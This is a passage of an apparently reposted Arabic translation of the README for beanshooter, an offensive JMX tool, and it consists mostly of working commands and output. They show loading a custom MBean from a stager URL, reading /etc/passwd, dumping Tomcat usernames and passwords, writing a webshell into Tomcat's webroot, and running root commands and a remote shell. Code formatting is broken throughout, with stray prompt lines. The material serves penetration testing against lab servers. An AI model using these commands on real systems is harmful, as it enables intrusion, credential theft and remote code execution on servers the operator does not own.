9010 --stager-url file:///tmp/index.html [+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known by the server. [+] Starting MBean deployment. [+] [+] Deplyoing MBean: MLet [+] MBean with object name DefaultDomain:type=MLet was successfully deployed. [+] [+] Loading MBean from file:///tmp/index.html [+] [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.

root@kitploit:~
إذا كنت ترغب في معرفة المزيد عن التقنية التي تنفذها عملية `standard`، فإنني أوصي بشدة بهذا [منشور المدونة](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) من [CODE WHITE](https://twitter.com/codewhitesec) الذي يشرحها بتفصيل كبير.

#### Undeploy

تزيل عملية `undeploy` كائن *MBean* المحدد بـ `ObjectName` من خدمة *JMX*:```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example 
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.

عمليات MBean


على عكس العمليات الأساسية التي تستهدف الوظائف العامة التي يعرضها نقطة نهاية JMX، تستهدف عمليات MBean نوعًا معينًا من MBean. لكل MBean مدعوم، يوفر beanshooter محللًا فرعيًا آخر يحتوي على العمليات والخيارات المتاحة لـ MBean المطابق. يظهر المثال التالي لـ MBean mlet والمحلل الفرعي المرتبط به:```console [qtc@devbox ~]$ beanshooter mlet -h usage: beanshooter mlet [-h] ...

positional arguments:

root@kitploit:~
load                 load a new MBean from the specified URL
attr                 set or get MBean attributes
deploy               deploys the specified MBean on the JMX server
info                 print server information about the MBean
invoke               invoke the specified method on the MBean
stats                print local information about the MBean
status               checks whether the MBean is registered
undeploy             undeploys the specified MBEAN from the JMX server

named arguments: -h, --help show this help message and exit

root@kitploit:~
### عمليات MBean العامة

---

بعض عمليات *beanshooter* متاحة لكل *MBean* ويتم توضيحها في هذا القسم.
غالبًا ما تعكس عمليات *MBean* العامة وظائف [العمليات الأساسية](#basic-operations)،
ولكن دون الحاجة إلى تحديد *ObjectName*.

#### السمة العامة

يعمل إجراء `attr` بنفس طريقة إجراء `attr` من العمليات الأساسية. ومع ذلك، لم يعد *ObjectName*
بحاجة إلى التحديد، لأنه موجود داخل *MBean* المحدد.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase

النشر العام

يعمل إجراء deploy بشكل أساسي مثل إجراء deploy من العمليات الأساسية. ومع ذلك، نظرًا لأن اسم الفئة وObjectName وملف jar المنفذ كلها مرتبطة بالفعل بـ MBean المحدد، فأنت تحتاج فقط إلى تحديد الخيار --stager-url مع هذا الإجراء (بافتراض توفر ملف jar مدمج):```console [qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000 [+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known to the server. [+] Loading MBean from http://172.17.0.1:8000 [+] [+] Creating HTTP server on: 172.17.0.1:8000 [+] Creating MLetHandler for endpoint: / [+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993 [+] Starting HTTP server... [+] [+] Incoming request from: iinsecure.example [+] Requested resource: / [+] Sending mlet: [+] [+] Class: de.qtc.beanshooter.tonkabean.TonkaBean [+] Archive: 440441bf8c794d40a83caf1e34cd9993 [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: http://172.17.0.1:8000 [+] [+] Incoming request from: iinsecure.example [+] Requested resource: /440441bf8c794d40a83caf1e34cd9993 [+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705 [+] [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed

root@kitploit:~
منذ الإصدار *beanshooter v4.1.0*، أصبح من الممكن أيضًا نشر *TonkaBean* عبر الإجراء [standard](#standard).
نشر الفول عبر الإجراء `standard` **لا يتطلب** اتصالات شبكة صادرة من الخادم الهدف.

#### التصدير العام

في بعض الأحيان لا يكون من الممكن تقديم تنفيذ *MBean* باستخدام خادم النشر *beanshooters*. السيناريو الشائع هو أن الاتصالات الصادرة إلى جهازك المحلي محظورة. في هذه المواقف، قد ترغب في تحميل *MBean* من موقع آخر، مثل خدمة *SMB* في الشبكة الداخلية حيث لديك صلاحية الكتابة إليها.

يقوم الإجراء `export` بتصدير ملف *jar* الذي ينفذ *MBean* المحدد ومستند *MLet HTML* المقابل المطلوب لتحميل *MBean* باستخدام *MLet*. بافتراض أنك تريد تقديم *TonkaBean* من خدمة *SMB* تستمع على `10.10.10.5`، يمكنك استخدام الأمر التالي:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   tonka-bean-3.0.0-jar-with-dependencies.jar
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  file:////10.10.10.5/share/

بعد ذلك، يمكنك تحميل ملف jar المُصدَّر وملف index.html إلى خدمة SMB واستخدام إجراء النشر في beanshooters مع الخيار --stager-url file:////10.10.10.5/share/index.html.

معلومات عامة

يقوم إجراء info بإدراج معلومات الطرق والسمات الخاصة بـ MBean المحددة:```console [qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090 [+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean [+] ObjectName: Users:type=UserDatabase,database=UserDatabase [+] [+] Attributes: [+] modelerType (type: java.lang.String , writable: false) [+] readonly (type: boolean , writable: false) [+] roles (type: [Ljava.lang.String; , writable: false) [+] groups (type: [Ljava.lang.String; , writable: false) [+] users (type: [Ljava.lang.String; , writable: false) [+] pathname (type: java.lang.String , writable: true) [+] writable (type: null , writable: false) [+] [+] Operations: [+] java.lang.String findGroup(java.lang.String groupname) [+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName) [+] void removeGroup(java.lang.String groupname) [+] void removeUser(java.lang.String username) [+] void save() [+] java.lang.String findRole(java.lang.String rolename) [+] void removeRole(java.lang.String rolename) [+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description) [+] java.lang.String findUser(java.lang.String username) [+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)

root@kitploit:~
#### الاستدعاء العام

يمكن استخدام إجراء `invoke` لاستدعاء طريقة عشوائية على *MBean* المحدد:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase

إحصائيات عامة

يقوم إجراء stats بإدراج بعض المعلومات العامة حول MBean المحدد. هذه هي المعلومات التي يخزنها beanshooters محليًا على MBean المقابل ولا يتطلب أي تفاعل مع الخادم.```console [qtc@devbox ~]$ beanshooter tonka stats [+] MBean: tonka [+] Object Name: MLetTonkaBean:name=TonkaBean,id=1 [+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean [+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)

root@kitploit:~
معلومة `Jar File` تشير إلى ما إذا كان تنفيذ *MBean* المقابل مدمجًا في *beanshooter* أم لا. يُستخدم ملف الجرة هذا أثناء النشر، ما لم يتم استبداله باستخدام الخيار `--jar-file`. حاليًا، *TonkaBean* هو *MBean* الوحيد الذي يتوفر له *Jar File*.

#### الحالة العامة

إجراء `status` يتحقق مما إذا كان *MBean* المقابل متاحًا بالفعل على خدمة *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed

إلغاء النشر العام

يؤدي إجراء إلغاء النشر إلى إزالة MBean المحدد من خدمة JMX البعيدة:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.

root@kitploit:~
### تشخيص

---

*DiagnosticCommandMBean* هو *MBean* مفيد يتم نشره غالبًا بشكل افتراضي على *JMX servers*.
يطبق العديد من الطرق المختلفة التي تهم من منظور هجومي. بعضها
منفذة كعمليات *beanshooter*. ويمكن بالطبع استدعاء الآخرين يدويًا.

#### قراءة التشخيص

يمكن استخدام عملية `read` لقراءة الملفات النصية على خادم *MBean*. تستخدم العملية
طريقة `addCompilerDirective` للتسبب في استثناء يحتوي على محتويات الملف النصي المحدد:```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

تم تنفيذ هذه التقنية في الأصل بواسطة @TheLaluka ضمن jolokia-exploitation-toolkit.

التحميل التشخيصي

يمكن استخدام عملية load لتحميل مكتبة مشتركة من نظام ملفات خادم JMX:```console [qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6 [+] The server complained about the missing function Agent_OnAttach [+] The specified library was loaded succesfully.

root@kitploit:~
#### سجل التشخيص

يمكن استخدام إجراء `logfile` لتغيير موقع ملف السجل لـ *JVM*:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log

Nolog التشخيصي

يمكن استخدام الإجراء nolog لتعطيل التسجيل (مفيد لإغلاق مقبض ملف logfile):```console [qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090 [+] Logging was disabled successfully.

root@kitploit:~
#### سطر الأوامر التشخيصي

يقوم الإجراء `cmdline` بطباعة سطر الأوامر الذي تم تشغيل *JVM* به:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD

خصائص التشخيص

الإجراء props يطبع قائمة من خصائص النظام:```console [qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090 #Mon Jul 25 19:17:52 UTC 2022 com.sun.management.jmxremote.rmi.port=1099 awt.toolkit=sun.awt.X11.XToolkit java.specification.version=11 sun.cpu.isalist= ...

root@kitploit:~
### هوت سبوت

---

الواجهة *HotSpotDiagnosticMXBean* توفر واجهة لإدارة *الجهاز الافتراضي HotSpot*
وتدعم بعض الطرق التي تكون مفيدة من منظور هجومي.

#### تفريغ هوت سبوت

الإجراء `dump` يقوم بإنشاء تفريغ للكومة (heapdump) وحفظه في موقع تعسفي على خادم التطبيق.
الشرط الوحيد هو أن يتم حفظ التفريغ كملف بامتداد `.hprof`:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.

قائمة HotSpot

الإجراء list يطبع قائمة بـ Diagnostic Options المتاحة وقيمها المرتبطة:```console [qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090 [+] HeapDumpBeforeFullGC (value = false, writable = true) [+] HeapDumpAfterFullGC (value = false, writable = true) [+] HeapDumpOnOutOfMemoryError (value = false, writable = true) [+] HeapDumpPath (value = , writable = true) ...

root@kitploit:~
#### HotSpot get

يسمح إجراء `get` بالحصول على قيمة الخيار المحدد:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true

HotSpot set

يسمح إجراء set بتعيين قيمة الخيار المحدد:```console [qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true [+] Option was set successfully. [qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC [+] Name: HeapDumpBeforeFullGC [+] Value: true [+] Writable: true

root@kitploit:~
### MLet

---

إن *MLetMBean* هو *MBean* معروف يمكن استخدامه لتحميل *MBeans* إضافية عبر الشبكة. يُستخدم ضمنيًا بالفعل بواسطة إجراء `deploy` في *beanshooters*، ولكن يمكن استدعاؤه يدويًا باستخدام العملية `mlet`.

#### MLet Load

الطريقة الوحيدة المطبقة حاليًا لـ *MLet* هي عملية `load` التي يمكن استخدامها لتحميل فئة *MBean* من *URL* يحدده المستخدم:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: MLet
[+] 	MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] 	Creating HTTP server on: 172.17.0.1:8000
[+] 		Creating MLetHandler for endpoint: /
[+] 		Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] 		Starting HTTP server... 
[+] 		
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /
[+] 	Sending mlet:
[+]
[+] 		Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 		Archive:   3584de270132420aaf0812366bc46035
[+] 		Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 		Codebase:  http://172.17.0.1:8000
[+]
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /3584de270132420aaf0812366bc46035
[+] 	Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.

المثال أعلاه يوضح كيف يمكن تحميل TonkaBean يدويًا باستخدام عملية mlet. إذا كنت ترغب في تحميل MBean مخصص بدلاً من ذلك، فأنت بحاجة إلى تحديد الكلمة المفتاحية custom بدلاً من tonka وتقديم الخيارات --class-name و --object-name و --jar-file:```console [qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar [+] Starting MBean deployment. [+] ... [+] MBean was loaded successfully.

root@kitploit:~
### Recoder

---

توفر واجهة *FlightRecorderMXBean* واجهة لإدارة *Flight Recorder* وتدعم بعض الطرق المثيرة للاهتمام من منظور هجومي.

#### Recoder new

تبدأ عملية `new` تسجيلًا جديدًا. يمكن استخدام معرف التسجيل المُعاد كهدف لعمليات أخرى:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1

Recoder start

يبدأ الإجراء start تسجيلاً موجوداً بالفعل ويأخذ معرّف التسجيل كوسيطة إضافية:```console [qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1 [+] Recording with ID 1 started successfully.

root@kitploit:~
#### Recoder dump

أثناء تنشيط تسجيل، يمكن تفريغ محتوياته باستخدام الإجراء `dump`. يقوم ذلك بتخزين معلومات التسجيل في ملف تفريغ على *JMX server*:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat

إيقاف المسجل

يمكن استخدام إجراء stop لإيقاف التسجيل:```console [qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1 [+] Recording with ID 1 stopped successfully.

root@kitploit:~
#### حفظ المسجل

بعد إيقاف التسجيل، يمكن حفظه باستخدام إجراء `save`. على عكس إجراء `dump`، فإن هذا يحفظ التسجيل على الجهاز المحلي بدلاً من خادم التطبيق.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat

Tomcat


تتفاعل عملية tomcat مع MemoryUserDatabaseMBean الخاصة بـ Apache Tomcat. توفر MBean هذه الوصول إلى حسابات المستخدمين المتوفرة على خدمة Tomcat.

تفريغ Tomcat

يقوم إجراء dump بتفريغ أسماء المستخدمين وكلمات المرور المتوفرة على خادم Tomcat إلى ملفات محلية. عند استدعائه مع وسيطة واحدة، يتم تفريغ بيانات الاعتماد بتنسيق <username>:<password>:```console [qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt [+] Dumping credentials... [+] Users dumped to /home/qtc/creds.txt [qtc@devbox ~]$ cat creds.txt manager:P@55w0rD# admin:s3cr3T!$ status:[email protected]

root@kitploit:~
عند الاستدعاء مع وسيطين، يتم تخزين أسماء المستخدمين في الموقع الأول المحدد، وكلمات المرور في الموقع الثاني:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt

Tomcat قائمة

عملية list تسرد حسابات المستخدمين المتاحة، أدوارهم المقترنة وبيانات اعتمادهم:```console [qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090 [+] Listing tomcat users: [+] [+] ---------------------------------------- [+] Username: manager [+] Password: P@55w0rD# [+] Roles: [+] Users:type=Role,rolename="manager-gui",database=UserDatabase [+] Users:type=Role,rolename="manager-script",database=UserDatabase [+] Users:type=Role,rolename="manager-jmx",database=UserDatabase [+] Users:type=Role,rolename="manager-status",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: admin [+] Password: s3cr3T!$ [+] Roles: [+] Users:type=Role,rolename="admin-gui",database=UserDatabase [+] Users:type=Role,rolename="admin-script",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: status [+] Password: [email protected] [+] Roles: [+] Users:type=Role,rolename="manager-status",database=UserDatabase

root@kitploit:~
#### كتابة Tomcat

تقوم عملية `write` بكتابة ملف يتم التحكم فيه جزئيًا إلى موقع عشوائي على خادم التطبيق. يمكن استخدام هذا الإجراء لنشر webshell بشكل موثوق على خدمة *Tomcat*:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Current user database is at conf/tomcat-users.xml
[+] 	Current user database is readonly
[+] 	Adjusting readonly property to make it writable.
[+] 	Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Creating new role containing the local file content.
[+] 	Saving modified user database.
[+] 	Restoring readonly property.
[+] 	Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)

The write action abuses an encoding bug within the UserDatabase MBean of Apache Tomcat. We reported the bug, but it was not considered a security vulnerability. For writing to arbitrary locations, beanshooter needs to change the location of the UserDatabase. All changes are restored, after the desired file was written, but still be careful in production environments.

Tonka


The TonkaBean is a custom MBean that is implemented by the beanshooter project and allows file system access and command execution on the JMX server. Its actions can be accessed by using the tonka operation, followed by the desired action.

Tonka Exec

The exec action can be used to invoke a single command on the JMX service:```console [qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id [+] Invoking the executeCommand method with argument: id [+] The call was successful [+] [+] Server response: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
الوسيطة الأخيرة لعملية exec يُتوقع أن تكون سلسلة نصية. عند عدم استخدام خيار `--shell`، يتم تقسيم هذه السلسلة على المسافات (مع مراعاة علامات الاقتباس) وتمريرها كمصفوفة إلى كلاس `ProcessBuilder` على جانب الخادم.

إذا تم استخدام `--shell`، يتم تقسيم سلسلة الشل المحددة على المسافات، ثم يتم دمج المصفوفة الناتجة مع سلسلة الوسيطة المحددة قبل تمريرها إلى كلاس `ProcessBuilder` على جانب الخادم. يتيح هذا تنفيذًا شبيهًا بالشل مع تفسير صحيح للأحرف الخاصة بالشل:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b

لسهولة الاستخدام، يتم إلحاق أطراف الصدف الشائعة تلقائيًا بمُعامل سلسلة الأوامر المطلوب. وبالتالي، يتم تحويل --shell ash تلقائيًا إلى --shell 'ash -c'.

Tonka Execarray

تشبه عملية execarray إلى حد كبير إجراء exec، ولكن بدلاً من توقع سلسلة كوسيطة وتقسيم هذه السلسلة على المسافات لبناء مصفوفة الأوامر، تسمح عملية execarray بتحديد وسائط متعددة تُستخدم مباشرة كمصفوفة أوامر لفئة ProcessBuilder:```console [qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME' [+] Invoking the executeCommand method with argument: ash -c echo $HOME [+] The call was successful [+] [+] Server response: /root

root@kitploit:~
#### Tonka Shell

الإجراء `shell` ينشئ واجهة أوامر يمكنك من خلالها تحديد الأوامر التي يتم تنفيذها على خادم *JMX*
الخادم. الواجهة ليست تفاعلية بالكامل وتمثل مجرد غلاف حول طريقة `Runtime.exec` في *Javas*
الطريقة. ومع ذلك، يتم تنفيذ دعم أساسي لمتغيرات البيئة ودليل العمل الحالي:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example

المثال أعلاه يوضح كيفية تعيين متغيرات البيئة باستخدام الكلمة المفتاحية !env. بالإضافة إلى هذه الكلمة المفتاحية، تتوفر عدة أخرى:```console [qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010 [[email protected] /]$ !help Available shell commands: execute the specified command cd

change working directory on the server exit|quit exit the shell !help|!h print this help menu !environ|!env = set new environment variables in key=value format !upload|!put upload a file to the remote MBeanServer !download|!get download a file from the remote MBeanServer !background|!back executes the specified command in the background

root@kitploit:~
#### Tonka Upload

يمكن استخدام إجراء `upload` لرفع ملف إلى خادم *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat

Tonka Download

يمكن استخدام الإجراء download لتنزيل ملف من خادم JMX:```console [qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd [+] Saving remote file /etc/passwd to local path /home/qtc/passwd [+] 1172 bytes were written to /home/qtc/passwd

root@kitploit:~
### JMXMP

---

يمكن لخدمات *JMX* استخدام أنواع مختلفة من الموصلات. الموصل الأكثر استخدامًا على الإطلاق هو *Java RMI*، والذي يسمح بالوصول إلى *JMX* بناءً على بروتوكول *Java RMI*. موصل شائع آخر هو *JMX Message Protocol* (*JMXMP*) الذي، على الرغم من كونه قديمًا، إلا أنه لا يزال يُصادف كثيرًا. يحتوي *beanshooter* على دعم مدمج لـ *JMXMP* ويحاول الاتصال عبر *JMXMP* عند استخدام الخيار `--jmxmp`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server does not use SASL.
[+] 	  Login is possible without specifying credentials.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] 	  Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] 	- 22 MBeans are currently registred on the MBean server.
[+] 	  Found 0 non default MBeans.

عادةً ما تكون نقاط نهاية JMXMP المصادق عليها محمية باستخدام SASL. مع تمكين SASL، تتطلب نقطة نهاية JMX عادةً من العميل الاتصال باستخدام ملف تعريف SASL محدد. ملفات التعريف المتاحة لـ beanshooter هي:

  • plain
  • digest
  • cram
  • ntlm
  • gssapi

يمكن لكل منها أن يقترن اختياريًا بـ TLS باستخدام الخيار --ssl. عند استخدام إجراء enum على نقطة نهاية JMXMP محمية بـ SASL، يحاول beanshooter تعداد ملف تعريف SASL المطلوب. بينما يكون تحديد آلية SASL المطلوبة ممكنًا عادةً، فإن إعداد TLS المطلوب لا يمكن تعداده:```console [qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp [+] Checking servers SASL configuration: [+] [+] - Remote JMXMP server uses SASL/NTLM SASL profile. [+] Notice: TLS setting cannot be enumerated and --ssl may be required. [+] Vulnerability Status: Non Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [+] - JMXMP serial check is work in progress but endpoints are usually vulnerable. [+] Configuration Status: Undecided

root@kitploit:~
### دعم Jolokia

---

بدءًا من الإصدار *v4.0.0*، يدعم *beanshooter* نقاط نهاية JMX القائمة على [Jolokia](https://github.com/rhuss/jolokia).
يتطلب إنشاء اتصالات بنقطة نهاية قائمة على *Jolokia* تنسيق الهدف المعتاد والعلم `--jolokia`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] 	- Login successful! The specified credentials are correct.
[+] 	  Username: manager  - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] 	- Agent Version 1.7.1 - Protocol Version: 7.2
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] 	- Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] 	- 75 MBeans are currently registred on the MBean server.
[+] 	  Listing 56 non default MBeans:
...

نظرًا لمجموعة الميزات المحدودة لـ Jolokia، لا يتم دعم جميع عمليات beanshooter. يرجى الرجوع إلى أسئلة وأجوبة Jolokia إذا كانت لديك أي أسئلة. للتجربة مع Jolokia، يوفر beanshooter خادم مثال يعرض نقطة نهاية Jolokia على المنفذ 8080. بالإضافة إلى ذلك، يمكن العثور على نقطة نهاية JMX عادية تعتمد على RMI على المنفذ 1090.

صورة Docker


منذ الإصدار v3.1.1، يتوفر beanshooter أيضًا كصورة Docker ويمكن سحبها من سجل حاويات GitHub. لكل إصدار، هناك إصدار عادي وإصدار خفيف متاحان. كلاهما يوفر إصدارًا كاملاً عاملًا من beanshooter، ولكن فقط الإصدار العادي يأتي مع ysoserial مضمنًا، مما يؤدي إلى حجم صورة أكبر:

  • docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MB
  • docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MB

يمكنك أيضًا بناء الحاوية بنفسك عن طريق تشغيل الأوامر التالية:```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .

root@kitploit:~
### مثال لخادم

---

![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20master/badge.svg?branch=master)
![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20develop/badge.svg?branch=develop)

معظم الأمثلة المعروضة أعلاه مبنية على [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
و [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).
توجد هذه الخوادم داخل هذا المستودع في مجلد [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) ويمكن استخدامها لممارسة تعداد *JMX*.
يمكنك إما بناء الحاويات المقابلة بنفسك أو تحميلها مباشرة من *GitHub Container Registry*.

حقوق النشر 2023، Tobias Neitzel والمساهمين في *beanshooter*.
تنزيل الأداة
  • exec
  • execarray
  • shell
  • upload
  • download
  • JMXMP
  • دعم Jolokia
  • صورة Docker
  • خادم مثال